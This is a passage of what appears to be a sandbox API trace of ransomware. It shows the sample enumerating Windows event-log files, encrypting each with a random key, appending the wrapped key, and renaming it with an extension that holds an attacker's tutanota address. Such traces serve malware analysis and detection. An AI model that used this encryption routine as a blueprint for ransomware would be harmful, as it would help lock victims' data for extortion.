lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0082.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f10 | out: pbBuffer=0x583f10) returned 1 [0082.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0082.639] SetFileAttributesW (lpFileName="\\Logs\\Windows PowerShell.evtx", dwFileAttributes=0x80) returned 1 [0082.894] CreateFileW (lpFileName="\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0082.894] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0082.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x5840b0 [0082.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x5950b8 [0082.895] ReadFile (in: hFile=0x460, lpBuffer=0x5840b0, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5840b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0082.924] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.924] WriteFile (in: hFile=0x460, lpBuffer=0x5950b8*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5950b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0082.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5840b0 | out: hHeap=0x520000) returned 1 [0082.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5950b8 | out: hHeap=0x520000) returned 1 [0082.926] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0082.926] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.926] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f10*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f10*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.927] WriteFile (in: hFile=0x460, lpBuffer=0x583f10*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.928] WriteFile (in: hFile=0x460, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.928] CloseHandle (hObject=0x460) returned 1 [0082.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f10 | out: hHeap=0x520000) returned 1 [0082.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0082.936] MoveFileExW (lpExistingFileName="\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), lpNewFileName="\\Logs\\Windows PowerShell.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\windows powershell.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584018 | out: hHeap=0x520000) returned 1 [0082.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0082.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0082.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0082.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0082.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0082.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0082.939] SetFileAttributesW (lpFileName="\\Logs\\System.evtx", dwFileAttributes=0x80) returned 1 [0082.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0082.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5814a8 [0082.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0082.941] CreateFileW (lpFileName="\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0082.941] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1118208) returned 1 [0082.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x3129020 [0082.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x324a020 [0082.948] ReadFile (in: hFile=0x460, lpBuffer=0x3129020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesRead=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0083.117] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.117] WriteFile (in: hFile=0x460, lpBuffer=0x324a020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x324a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0083.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3129020 | out: hHeap=0x520000) returned 1 [0083.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x324a020 | out: hHeap=0x520000) returned 1 [0083.132] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x111000 [0083.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.132] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.133] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.133] CloseHandle (hObject=0x460) returned 1 [0083.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0083.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0083.148] MoveFileExW (lpExistingFileName="\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), lpNewFileName="\\Logs\\System.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\system.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0083.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5814a8 | out: hHeap=0x520000) returned 1 [0083.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0083.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0083.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0083.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0083.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0083.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0083.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0083.151] SetFileAttributesW (lpFileName="\\Logs\\Setup.evtx", dwFileAttributes=0x80) returned 1 [0083.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0083.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581750 [0083.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0083.152] CreateFileW (lpFileName="\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0083.152] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0083.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0083.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0083.152] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.179] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.179] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0083.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0083.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0083.181] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0083.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.183] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.183] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.183] CloseHandle (hObject=0x460) returned 1 [0083.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0083.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0083.185] MoveFileExW (lpExistingFileName="\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), lpNewFileName="\\Logs\\Setup.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\setup.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0083.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581750 | out: hHeap=0x520000) returned 1 [0083.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0083.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f20 | out: hHeap=0x520000) returned 1 [0083.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566eb0 [0083.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0083.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0083.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0083.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0083.188] SetFileAttributesW (lpFileName="\\Logs\\Security.evtx", dwFileAttributes=0x80) returned 1 [0083.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f20 [0083.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581420 [0083.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f20 | out: hHeap=0x520000) returned 1 [0083.188] CreateFileW (lpFileName="\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0083.188] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1118208) returned 1 [0083.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x3127020 [0083.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x111000) returned 0x324d020 [0083.195] ReadFile (in: hFile=0x460, lpBuffer=0x3127020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3127020*, lpNumberOfBytesRead=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0083.368] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.369] WriteFile (in: hFile=0x460, lpBuffer=0x324d020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x324d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x111000, lpOverlapped=0x0) returned 1 [0083.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3127020 | out: hHeap=0x520000) returned 1 [0083.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x324d020 | out: hHeap=0x520000) returned 1 [0083.387] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x111000 [0083.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.387] WriteFile (in: hFile=0x460, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.388] WriteFile (in: hFile=0x460, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.388] CloseHandle (hObject=0x460) returned 1 [0083.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0083.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0083.473] MoveFileExW (lpExistingFileName="\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), lpNewFileName="\\Logs\\Security.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\security.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0083.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581420 | out: hHeap=0x520000) returned 1 [0083.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566eb0 | out: hHeap=0x520000) returned 1 [0083.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0083.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583050 [0083.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0083.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0083.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0083.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0083.476] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0083.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583140 [0083.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0083.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583140 | out: hHeap=0x520000) returned 1 [0083.476] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0083.476] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0083.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3123020 [0083.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3234020 [0083.483] ReadFile (in: hFile=0x460, lpBuffer=0x3123020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3123020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0083.620] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.621] WriteFile (in: hFile=0x460, lpBuffer=0x3234020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3234020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0083.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3123020 | out: hHeap=0x520000) returned 1 [0083.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3234020 | out: hHeap=0x520000) returned 1 [0083.642] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0083.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0083.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0083.642] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0083.642] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0083.643] CloseHandle (hObject=0x460) returned 1 [0083.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0083.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0083.660] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0083.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0083.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583050 | out: hHeap=0x520000) returned 1 [0083.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582fd8 | out: hHeap=0x520000) returned 1 [0083.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582a38 [0083.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0083.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0083.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0083.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0083.763] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0083.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582510 [0083.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e490 [0083.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582510 | out: hHeap=0x520000) returned 1 [0083.764] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 